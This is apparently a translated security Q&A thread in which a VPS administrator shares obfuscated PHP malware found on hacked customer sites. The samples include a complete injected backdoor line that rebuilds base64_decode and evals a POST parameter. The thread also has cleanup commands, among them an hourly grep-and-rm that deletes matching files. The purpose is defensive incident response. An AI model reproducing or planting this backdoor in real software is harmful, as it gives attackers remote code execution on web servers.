Encuentre un archivo php con cierta palabra y deshabilite php

0

Tengo varios VPS con al menos miles de cuentas en ellos.

Los sitios web de mis clientes son pirateados y enviando correos electrónicos no deseados. Revisé el registro y descubrí dos tipos de escrituras

tipo1:

<?php 
$d79="HYI\riP=s5'bX'a43Z #fn%dTy9c|JWjMV<z0Q]6&kD}UECrue~mq8->N2hpx_!Bo*g\nK\$O1{7G[^.L+Rw\;?FA)lt\tS@,/\":(v"; $GLOBALS['ujijy64'] = $d79[4].$d7

tipo2:

<?php
function wtakziboyl($gaezs, $fp){$vdxhvfmnol = ''; for($i=0; $i < strlen($gaezs); $i++){$vdxhvfmnol .= isset($fp[$gaezs[$i]]) ? $fp[$gaezs[$i]] : $gaezs[$i];}
$otcow="base64_decode";return $otcow($vdxhvfmnol);}
$sfnb = '4fwFMBxy214Q5XBm8exm1XHK2m83NZsBdZpzvpzUMRsz1jCwgJArtfxr1X'.
'Bm8exm8m83NSUzvpzUMRsz1jCwgJArtRhY1XBY2RCIgfwKtwxkMRIw5mpAbJ'.
'aiJa0y21cqgfwE2Bx3MRIzgJApOd3OJeweOfwy8XBkOJcqnkBPBaBPOPaOopQ55hxdcB'.

Después de investigar más, descubrí los scripts inyectados en la parte superior de los archivos genuinos como abajo

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n828e00'])) {eval($s21(${$s20}['n828e00']));}?>

Este código anterior sospecho que es de puerta trasera. Quiero eliminar todos esos scripts o al menos detenerlos para que no lo ejecuten. Puede ser que pueda usar reglas modsec.

Al navegar por Internet, descubrí que podemos correr debajo del código para eliminar dicha inyección

grep -Rl PCT4BA6ODSE . | xargs sed -i 's/<[?]php.*PCT4BA6ODSE_.*[?]>/<\?php \/\/ RECOVERED FILE \?>/g'

Encontrar este tipo de archivos en un servidor donde se alojan miles de cuentas es algo imposible. Así que quiero que lo haga automáticamente (en este caso)

Sé que hay muchas otras puertas traseras, pero para este escenario, ¿qué sugiere la gente?

Esto puede no ser una buena idea y puede afectar el rendimiento del servidor, me encantaría escuchar cualquier idea alternativa.

    
pregunta Err0rr 08.10.2015 - 08:20
fuente

1 respuesta

2

Respondiendo a su pregunta (pero no resolviendo su problema):

Ejecuta esto aproximadamente cada hora:

grep -l PCT4BA6ODSE_ * | xargs rm

Esto eliminará todos los archivos php con esa cadena. Pero esa cadena es solo el síntoma, no el problema. El problema es que tiene un compromiso de seguridad, y no importa cómo limpie su sistema, se volverá a infectar.

Para resolver realmente su problema, debe auditar todos los componentes del sistema. La forma más sencilla es reinstalar todo desde cero, actualizar todos los componentes, fortalecer su configuración, buscar puertas traseras en php y poner el sistema en línea nuevamente.     

respondido por el ThoriumBR 08.10.2015 - 14:28
fuente

Lea otras preguntas en las etiquetas